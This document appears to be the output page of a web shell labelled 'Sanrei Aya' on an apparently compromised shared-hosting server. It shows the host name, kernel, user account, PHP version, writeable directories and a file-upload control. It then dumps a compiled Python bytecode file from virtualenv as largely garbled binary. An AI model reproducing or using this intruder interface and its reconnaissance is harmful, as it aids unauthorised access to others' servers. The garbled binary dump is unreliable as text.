Yohohohohohooho | Sanrei Aya
Sanrei Aya


Server : LiteSpeed
System : Linux barito.iixcp.rumahweb.net 5.14.0-611.49.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Apr 21 16:39:08 EDT 2026 x86_64
User : elvh3918 ( 1528)
PHP Version : 8.2.31
Disable Function : mail
Directory :  /opt/alt/python37/lib/python3.7/site-packages/virtualenv/util/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //opt/alt/python37/lib/python3.7/site-packages/virtualenv/util/__pycache__/six.cpython-37.pyc
B

��7��Z%�@s�dZddlmZddlmZmZmZmZyddlmZWne	k
rVd
dd�ZYnXydd	lm
Z
Wne	k
r�dd
d�Z
YnXdS)z�Backward compatibility layer with older version of six.

This is used to avoid virtualenv requring a version of six newer than what
the system may have.
�)�absolute_import)�PY2�PY3�binary_type�	text_type)�ensure_text�utf-8�strictcCs8t|t�r|�||�St|t�r$|Stdt|���dS)z�Coerce *s* to six.text_type.
        For Python 2:
        - `unicode` -> `unicode`
        - `str` -> `unicode`
        For Python 3:
        - `str` -> `str`
        - `bytes` -> decoded to `str`
        znot expecting type '%s'N)�
isinstancer�decoder�	TypeError�type)�s�encoding�errors�r�D/opt/alt/python37/lib/python3.7/site-packages/virtualenv/util/six.pyrs
	

r)�
ensure_strcCsXt|ttf�stdt|���tr:t|t�r:|�||�}ntrTt|t�rT|�||�}|S)z�Coerce *s* to `str`.
        For Python 2:
        - `unicode` -> encoded to `str`
        - `str` -> `str`
        For Python 3:
        - `str` -> `str`
        - `bytes` -> decoded to `str`
        znot expecting type '%s')	r
rrrr
r�encoderr)rrrrrrr#s	rN)rr	)rr	)�__doc__�
__future__rZsixrrrrr�ImportErrorrrrrr�<module>s

Yohohohohohooho | Sanrei Aya